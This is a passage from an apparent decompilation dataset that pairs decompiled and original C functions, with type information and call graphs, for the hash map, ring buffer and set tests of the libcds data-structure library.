"canonical_original_code": "static void map_free(void *obj)\n{\n mem_release(((struct map_t *)obj)->tree);\n}", "variable_types": [ [ "obj", "void *" ] ], "return_type": "void", "user_defined_types": [ "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_compare_nodes", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_compare_nodes(__int64 a1, __int64 a2, __int64 a3)\n{\nif ( *(_DWORD *)a2 < *(_DWORD *)a3 )\nreturn (unsigned int)-1;\nif ( *(_DWORD *)a2 <= *(_DWORD *)a3 )\nreturn (unsigned int)cmp_compare(a1, *(_QWORD *)(a2 + 8), *(_QWORD *)(a3 + 8));\nreturn 1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1, __int64 a2, __int64 a3)\n{\nif ( *(_DWORD *)a2 < *(_DWORD *)a3 )\nreturn (unsigned int)-1;\nif ( *(_DWORD *)a2 <= *(_DWORD *)a3 )\nreturn (unsigned int)cmp_compare(a1, *(_QWORD *)(a2 + 8), *(_QWORD *)(a3 + 8));\nreturn 1;\n}", "original_code": "static int map_compare_nodes(void* env, void* p_a, void* p_b)\n{\n int cmp;\n cmp_t* user_comp = (cmp_t*)env;\n map_pair_t* pair_a = (map_pair_t*)p_a;\n map_pair_t* pair_b = (map_pair_t*)p_b;\n if (pair_a->hash < pair_b->hash) {\n cmp = -1;\n } else if (pair_a->hash > pair_b->hash) {\n cmp = 1;\n } else {\n cmp = cmp_compare(user_comp, pair_a->key, pair_b->key);\n }\n return cmp;\n}", "canonical_original_code": "static int map_compare_nodes(void *env, void *p_a, void *p_b)\n{\n int cmp;\n struct cmp_t *user_comp = (cmp_t*)env;\n struct map_pair_t *pair_a = (map_pair_t*)p_a;\n struct map_pair_t *pair_b = (map_pair_t*)p_b;\n if (pair_a->hash < pair_b->hash) {\n cmp = -1;\n } else if (pair_a->hash > pair_b->hash) {\n cmp = 1;\n } else {\n cmp = cmp_compare(user_comp, pair_a->key, pair_b->key);\n }\n return cmp;\n}", "variable_types": [ [ "env", "void *" ], [ "p_a", "void *" ], [ "p_b", "void *" ], [ "cmp", "int" ], [ "user_comp", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *" ], [ "pair_a", "struct map_pair_t { unsigned int hash; void *key; void *value; } *" ], [ "pair_b", "struct map_pair_t { unsigned int hash; void *key; void *value; } *" ] ], "return_type": "int", "user_defined_types": [ "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "struct map_pair_t { unsigned int hash; void *key; void *value; }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_has_key", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "bool __fastcall map_has_key(__int64 a1, __int64 a2)\n{\nint v3; // [rsp+10h] [rbp-20h] BYREF\n__int64 v4; // [rsp+18h] [rbp-18h]\n__int64 v5; // [rsp+20h] [rbp-10h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = a2;\nv5 = 0LL;\nreturn rbt_lookup(*(_QWORD *)(a1 + 8), &v3) != 0;\n}\n", "canonical_decompiled_code": "bool __fastcall func4(__int64 a1, __int64 a2)\n{\nint v3; // [rsp+10h] [rbp-20h] BYREF\n__int64 v4; // [rsp+18h] [rbp-18h]\n__int64 v5; // [rsp+20h] [rbp-10h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = a2;\nv5 = 0LL;\nreturn rbt_lookup(*(_QWORD *)(a1 + 8), &v3) != 0;\n}", "original_code": "_Bool map_has_key(map_t* map, void* key)\n{\n map_pair_t pair = { map->hash_func(key), key, ((void *)0) };\n rbt_node_t* curr = rbt_lookup(map->tree, &pair);\n return (((void *)0) != curr);\n}", "canonical_original_code": "_Bool map_has_key(struct map_t *map, void *key)\n{\n struct map_pair_t pair = { map->hash_func(key), key, ((void *)0) };\n struct rbt_node_t *curr = rbt_lookup(map->tree, &pair);\n return (((void *)0) != curr);\n}", "variable_types": [ [ "map", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ], [ "key", "void *" ], [ "pair", "struct map_pair_t { unsigned int hash; void *key; void *value; }" ], [ "curr", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "_Bool", "user_defined_types": [ "struct map_pair_t { unsigned int hash; void *key; void *value; }", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_size", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_size(__int64 a1)\n{\nreturn (int)rbt_size(*(_QWORD *)(a1 + 8));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(__int64 a1)\n{\nreturn (int)rbt_size(*(_QWORD *)(a1 + 8));\n}", "original_code": "size_t map_size(map_t* map)\n{\n return rbt_size(map->tree);\n}", "canonical_original_code": "unsigned long map_size(struct map_t *map)\n{\n return rbt_size(map->tree);\n}", "variable_types": [ [ "map", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_lookup", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_lookup(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\nint v3; // [rsp+10h] [rbp-30h] BYREF\n__int64 v4; // [rsp+18h] [rbp-28h]\n__int64 v5; // [rsp+20h] [rbp-20h]\n__int64 v6; // [rsp+38h] [rbp-8h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = a2;\nv5 = 0LL;\nv6 = rbt_lookup(*(_QWORD *)(a1 + 8), &v3);\nif ( v6 )\nresult = *(_QWORD *)(*(_QWORD *)(v6 + 32) + 16LL);\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\nint v3; // [rsp+10h] [rbp-30h] BYREF\n__int64 v4; // [rsp+18h] [rbp-28h]\n__int64 v5; // [rsp+20h] [rbp-20h]\n__int64 v6; // [rsp+38h] [rbp-8h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = a2;\nv5 = 0LL;\nv6 = rbt_lookup(*(_QWORD *)(a1 + 8), &v3);\nif ( v6 )\nresult = *(_QWORD *)(*(_QWORD *)(v6 + 32) + 16LL);\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "void* map_lookup(map_t* map, void* key)\n{\n map_pair_t pair = { map->hash_func(key), key, ((void *)0) };\n rbt_node_t* curr = rbt_lookup(map->tree, &pair);\n void* value = (((void *)0) == curr) ? ((void *)0) : ((map_pair_t*)curr->contents)->value;\n return value;\n}", "canonical_original_code": "void *map_lookup(struct map_t *map, void *key)\n{\n struct map_pair_t pair = { map->hash_func(key), key, ((void *)0) };\n struct rbt_node_t *curr = rbt_lookup(map->tree, &pair);\n void *value = (((void *)0) == curr) ? ((void *)0) : ((map_pair_t*)curr->contents)->value;\n return value;\n}", "variable_types": [ [ "map", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ], [ "key", "void *" ], [ "pair", "struct map_pair_t { unsigned int hash; void *key; void *value; }" ], [ "curr", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ], [ "value", "void *" ] ], "return_type": "void *", "user_defined_types": [ "struct map_pair_t { unsigned int hash; void *key; void *value; }", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_insert", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_insert(__int64 a1, __int64 a2, __int64 a3)\n{\nint v3; // eax\n__int64 result; // rax\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv6 = map_pair_new(v3, a2, a3);\nif ( rbt_lookup(*(_QWORD *)(a1 + 8), v6) )\nresult = mem_release(v6);\nelse\nresult = rbt_insert(*(_QWORD *)(a1 + 8), v6);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1, __int64 a2, __int64 a3)\n{\nint v3; // eax\n__int64 result; // rax\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv6 = func1(v3, a2, a3);\nif ( rbt_lookup(*(_QWORD *)(a1 + 8), v6) )\nresult = mem_release(v6);\nelse\nresult = rbt_insert(*(_QWORD *)(a1 + 8), v6);\nreturn result;\n}", "original_code": "void map_insert(map_t* map, void* key, void* value)\n{\n map_pair_t* pair = map_pair_new(map->hash_func(key), key, value);\n if (!rbt_lookup(map->tree, pair))\n rbt_insert(map->tree, pair);\n else\n mem_release(pair);\n}", "canonical_original_code": "void map_insert(struct map_t *map, void *key, void *value)\n{\n struct map_pair_t *pair = map_pair_new(map->hash_func(key), key, value);\n if (!rbt_lookup(map->tree, pair))\n rbt_insert(map->tree, pair);\n else\n mem_release(pair);\n}", "variable_types": [ [ "map", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ], [ "key", "void *" ], [ "value", "void *" ], [ "pair", "struct map_pair_t { unsigned int hash; void *key; void *value; } *" ] ], "return_type": "void", "user_defined_types": [ "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct map_pair_t { unsigned int hash; void *key; void *value; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" }, { "name": "map_delete", "canonical_name": "func8", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall map_delete(__int64 a1, __int64 a2)\n{\nint v3; // [rsp+10h] [rbp-20h] BYREF\n__int64 v4; // [rsp+18h] [rbp-18h]\n__int64 v5; // [rsp+20h] [rbp-10h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = a2;\nv5 = 0LL;\nreturn rbt_delete(*(_QWORD *)(a1 + 8), &v3);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(__int64 a1, __int64 a2)\n{\nint v3; // [rsp+10h] [rbp-20h] BYREF\n__int64 v4; // [rsp+18h] [rbp-18h]\n__int64 v5; // [rsp+20h] [rbp-10h]\n\nv3 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = a2;\nv5 = 0LL;\nreturn rbt_delete(*(_QWORD *)(a1 + 8), &v3);\n}", "original_code": "void map_delete(map_t* map, void* key)\n{\n map_pair_t pair = { map->hash_func(key), key, ((void *)0) };\n rbt_delete(map->tree, &pair);\n}", "canonical_original_code": "void map_delete(struct map_t *map, void *key)\n{\n struct map_pair_t pair = { map->hash_func(key), key, ((void *)0) };\n rbt_delete(map->tree, &pair);\n}", "variable_types": [ [ "map", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ], [ "key", "void *" ], [ "pair", "struct map_pair_t { unsigned int hash; void *key; void *value; }" ] ], "return_type": "void", "user_defined_types": [ "struct map_pair_t { unsigned int hash; void *key; void *value; }", "struct map_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "241de3ed9f2ddcd6c6da38181b1323a4a264af9e7d4789776c7c9905979cabc4" } ]
25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5
mikedlowis/libcds
[ [ "buf_new", "->" ], [ "buf_size", "->" ], [ "buf_empty", "->", "buf_full", "buf_clear", "buf_read" ], [ "buf_full", "->", "buf_empty", "buf_write" ], [ "buf_clear", "->", "buf_empty", "buf_read", "buf_free" ], [ "buf_read", "->", "buf_clear", "buf_empty" ], [ "buf_write", "->", "buf_full" ], [ "buf_free", "->", "buf_clear" ] ]
[]
[ { "name": "buf_new", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "void **__fastcall buf_new(void *a1)\n{\nvoid **v2; // [rsp+18h] [rbp-8h]\n\nv2 = 0LL;\nif ( a1 )\n{\nv2 = (void **)mem_allocate(32LL, buf_free);\n*v2 = malloc(8LL * (_QWORD)a1);\nv2[1] = a1;\nv2[2] = 0LL;\nv2[3] = 0LL;\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "void **__fastcall func0(void *a1)\n{\nvoid **v2; // [rsp+18h] [rbp-8h]\n\nv2 = 0LL;\nif ( a1 )\n{\nv2 = (void **)mem_allocate(32LL, buf_free);\n*v2 = malloc(8LL * (_QWORD)a1);\nv2[1] = a1;\nv2[2] = 0LL;\nv2[3] = 0LL;\n}\nreturn v2;\n}", "original_code": "buf_t* buf_new(size_t size)\n{\n buf_t* buf = ((void *)0);\n if (size > 0)\n {\n buf = (buf_t*) mem_allocate(sizeof(buf_t), &buf_free);\n buf->buffer = (void**) malloc( sizeof(void*) * size );\n buf->size = size;\n buf->reads = 0;\n buf->writes = 0;\n }\n return buf;\n}", "canonical_original_code": "struct buf_t *buf_new(unsigned long size)\n{\n struct buf_t *buf = ((void *)0);\n if (size > 0)\n {\n buf = (struct buf_t *) mem_allocate(sizeof(buf_t), &buf_free);\n buf->buffer = (void **) malloc( sizeof(void *) * size );\n buf->size = size;\n buf->reads = 0;\n buf->writes = 0;\n }\n return buf;\n}", "variable_types": [ [ "size", "unsigned long" ], [ "buf", "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *" ] ], "return_type": "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" }, { "name": "buf_size", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall buf_size(__int64 a1)\n{\nreturn *(_QWORD *)(a1 + 8);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nreturn *(_QWORD *)(a1 + 8);\n}", "original_code": "size_t buf_size(buf_t* buf)\n{\n return (size_t)buf->size;\n}", "canonical_original_code": "unsigned long buf_size(struct buf_t *buf)\n{\n return (unsigned long)buf->size;\n}", "variable_types": [ [ "buf", "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" }, { "name": "buf_empty", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "bool __fastcall buf_empty(__int64 a1)\n{\nreturn *(_QWORD *)(a1 + 16) == *(_QWORD *)(a1 + 24);\n}\n", "canonical_decompiled_code": "bool __fastcall func2(__int64 a1)\n{\nreturn *(_QWORD *)(a1 + 16) == *(_QWORD *)(a1 + 24);\n}", "original_code": "_Bool buf_empty(buf_t* buf)\n{\n return (buf->reads == buf->writes);\n}", "canonical_original_code": "_Bool buf_empty(struct buf_t *buf)\n{\n return (buf->reads == buf->writes);\n}", "variable_types": [ [ "buf", "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *" ] ], "return_type": "_Bool", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" }, { "name": "buf_full", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "bool __fastcall buf_full(_QWORD *a1)\n{\nreturn ((a1[2] % a1[1] == a1[3] % a1[1]) & !buf_empty((__int64)a1)) != 0;\n}\n", "canonical_decompiled_code": "bool __fastcall func3(_QWORD *a1)\n{\nreturn ((a1[2] % a1[1] == a1[3] % a1[1]) & !func2((__int64)a1)) != 0;\n}", "original_code": "_Bool buf_full(buf_t* buf)\n{\n int full = !buf_empty(buf);\n full &= ((buf->reads % buf->size) == (buf->writes % buf->size));\n return full;\n}", "canonical_original_code": "_Bool buf_full(struct buf_t *buf)\n{\n int full = !buf_empty(buf);\n full &= ((buf->reads % buf->size) == (buf->writes % buf->size));\n return full;\n}", "variable_types": [ [ "buf", "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *" ], [ "full", "int" ] ], "return_type": "_Bool", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" }, { "name": "buf_clear", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall buf_clear(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nwhile ( !buf_empty(a1) )\n{\nv2 = buf_read(a1);\nif ( v2 )\nmem_release(v2);\n}\n*(_QWORD *)(a1 + 16) = 0LL;\nresult = a1;\n*(_QWORD *)(a1 + 24) = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nwhile ( !func2(a1) )\n{\nv2 = func5(a1);\nif ( v2 )\nmem_release(v2);\n}\n*(_QWORD *)(a1 + 16) = 0LL;\nresult = a1;\n*(_QWORD *)(a1 + 24) = 0LL;\nreturn result;\n}", "original_code": "void buf_clear(buf_t* buf)\n{\n void* entry;\n while ( !buf_empty(buf) )\n {\n entry = buf_read(buf);\n if (((void *)0) != entry)\n mem_release( entry );\n }\n buf->reads = 0;\n buf->writes = 0;\n}", "canonical_original_code": "void buf_clear(struct buf_t *buf)\n{\n void *entry;\n while ( !buf_empty(buf) )\n {\n entry = buf_read(buf);\n if (((void *)0) != entry)\n mem_release( entry );\n }\n buf->reads = 0;\n buf->writes = 0;\n}", "variable_types": [ [ "buf", "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *" ], [ "entry", "void *" ] ], "return_type": "void", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" }, { "name": "buf_read", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall buf_read(_QWORD *a1)\n{\n__int64 v2; // [rsp+10h] [rbp-8h]\n\nv2 = 0LL;\nif ( !buf_empty((__int64)a1) )\n{\nv2 = *(_QWORD *)(*a1 + 8LL * (a1[2] % a1[1]));\n++a1[2];\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(_QWORD *a1)\n{\n__int64 v2; // [rsp+10h] [rbp-8h]\n\nv2 = 0LL;\nif ( !func2((__int64)a1) )\n{\nv2 = *(_QWORD *)(*a1 + 8LL * (a1[2] % a1[1]));\n++a1[2];\n}\nreturn v2;\n}", "original_code": "void* buf_read(buf_t* buf)\n{\n void* data = ((void *)0);\n if (!buf_empty(buf))\n {\n data = buf->buffer[ buf->reads % buf->size ];\n buf->reads++;\n }\n return data;\n}", "canonical_original_code": "void *buf_read(struct buf_t *buf)\n{\n void *data = ((void *)0);\n if (!buf_empty(buf))\n {\n data = buf->buffer[ buf->reads % buf->size ];\n buf->reads++;\n }\n return data;\n}", "variable_types": [ [ "buf", "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *" ], [ "data", "void *" ] ], "return_type": "void *", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" }, { "name": "buf_write", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall buf_write(_QWORD *a1, __int64 a2)\n{\nunsigned __int8 v3; // [rsp+1Fh] [rbp-1h]\n\nv3 = 0;\nif ( !buf_full(a1) )\n{\n*(_QWORD *)(*a1 + 8LL * (a1[3] % a1[1])) = a2;\n++a1[3];\nv3 = 1;\n}\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(_QWORD *a1, __int64 a2)\n{\nunsigned __int8 v3; // [rsp+1Fh] [rbp-1h]\n\nv3 = 0;\nif ( !func3(a1) )\n{\n*(_QWORD *)(*a1 + 8LL * (a1[3] % a1[1])) = a2;\n++a1[3];\nv3 = 1;\n}\nreturn v3;\n}", "original_code": "_Bool buf_write(buf_t* buf, void* data)\n{\n _Bool success = 0;\n if (!buf_full(buf))\n {\n buf->buffer[ buf->writes % buf->size ] = data;\n buf->writes++;\n success = 1;\n }\n return success;\n}", "canonical_original_code": "_Bool buf_write(struct buf_t *buf, void *data)\n{\n _Bool success = 0;\n if (!buf_full(buf))\n {\n buf->buffer[ buf->writes % buf->size ] = data;\n buf->writes++;\n success = 1;\n }\n return success;\n}", "variable_types": [ [ "buf", "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; } *" ], [ "data", "void *" ], [ "success", "_Bool" ] ], "return_type": "_Bool", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" }, { "name": "buf_free", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "void __fastcall buf_free(void **a1)\n{\nbuf_clear((__int64)a1);\nfree(*a1);\n}\n", "canonical_decompiled_code": "void __fastcall func7(void **a1)\n{\nfunc4((__int64)a1);\nfree(*a1);\n}", "original_code": "static void buf_free(void* p_buf)\n{\n buf_clear((buf_t*)p_buf);\n free( ((buf_t*)p_buf)->buffer );\n}", "canonical_original_code": "static void buf_free(void *p_buf)\n{\n buf_clear((struct buf_t *)p_buf);\n free( ((struct buf_t *)p_buf)->buffer );\n}", "variable_types": [ [ "p_buf", "void *" ] ], "return_type": "void", "user_defined_types": [ "struct buf_t { void **buffer; unsigned long size; unsigned long reads; unsigned long writes; }" ], "binary_hash": "25abb21b6f757e2b91050507efb10f8764614145d842b2d2cd3c8459face9dc5" } ]
4360760530358ee48abe5a583d5c374af99f1ffaf31ed7a33e47d9477ca1e15e
mikedlowis/libcds
[ [ "test_setup", "->", "Set" ], [ "hash_int", "->" ], [ "cmp_int", "->" ], [ "Set", "->", "test_setup" ] ]
[ [ "test_setup", "void func0()\n{\n;\n}" ], [ "Set", "__int64 func3()\n{\n__int64 v0; // rax\n__int64 v1; // rax\n__int64 v2; // rax\n__int64 v3; // rax\n__int64 v4; // rax\n__int64 v5; // rax\n__int64 v6; // rax\n__int64 v7; // rax\n__int64 v8; // rax\n__int64 v9; // rax\n__int64 v10; // rax\n__int64 v11; // rax\n__int64 v12; // rax\n__int64 result; // rax\n__int64 v14; // rax\n__int64 v15; // rax\n__int64 v16; // [rsp+8h] [rbp-68h]\n__int64 v17; // [rsp+10h] [rbp-60h]\n__int64 v18; // [rsp+18h] [rbp-58h]\n__int64 v19; // [rsp+20h] [rbp-50h]\n__int64 v20; // [rsp+28h] [rbp-48h]\n__int64 v21; // [rsp+30h] [rbp-40h]\n__int64 v22; // [rsp+38h] [rbp-38h]\n__int64 v23; // [rsp+40h] [rbp-30h]\n__int64 v24; // [rsp+48h] [rbp-28h]\n__int64 v25; // [rsp+50h] [rbp-20h]\n__int64 v26; // [rsp+58h] [rbp-18h]\n__int64 v27; // [rsp+60h] [rbp-10h]\n__int64 v28; // [rsp+68h] [rbp-8h]\n\nCurr_Test = \"Verify_set_new\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv0 = cmp_new(0LL, cmp_int);\nv28 = set_new(v0, hash_int);\nmem_release(v28);\n}\n}\nCurr_Test = \"Verify_set_contains_should_return_true_if_the_item_is_in_the_set\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv1 = cmp_new(0LL, cmp_int);\nv27 = set_new(v1, hash_int);\nv26 = mem_box(42LL);\nset_insert(v27, v26);\nif ( set_size(v27) != 1 )\n{\ntest_fail(\"set_size(set) == 1\", \"tests/test_set.c\", 47LL);\nbreak;\n}\nif ( (unsigned __int8)set_contains(v27, v26) != 1 )\n{\ntest_fail(\"set_contains(set, boxed_val)\", \"tests/test_set.c\", 48LL);\nbreak;\n}\nmem_release(v27);\n}\n}\nCurr_Test = \"Verify_set_contains_should_return_false_if_the_item_is_not_in_the_set\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv2 = cmp_new(0LL, cmp_int);\nv25 = set_new(v2, hash_int);\nv24 = mem_box(43LL);\nv3 = mem_box(42LL);\nset_insert(v25, v3);\nif ( set_size(v25) != 1 )\n{\ntest_fail(\"set_size(set) == 1\", \"tests/test_set.c\", 57LL);\nbreak;\n}\nif ( (unsigned __int8)set_contains(v25, v24) )\n{\ntest_fail(\"!set_contains(set, lup_val)\", \"tests/test_set.c\", 58LL);\nbreak;\n}\nmem_release(v25);\nmem_release(v24);\n}\n}\nCurr_Test = \"Verify_set_insert_multiple_times_with_the_same_value_only_inserts_once\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv4 = cmp_new(0LL, cmp_int);\nv23 = set_new(v4, hash_int);\nv22 = mem_box(42LL);\nv5 = mem_box(42LL);\nset_insert(v23, v5);\nv6 = mem_box(42LL);\nset_insert(v23, v6);\nif ( set_size(v23) != 1 )\n{\ntest_fail(\"set_size(set) == 1\", 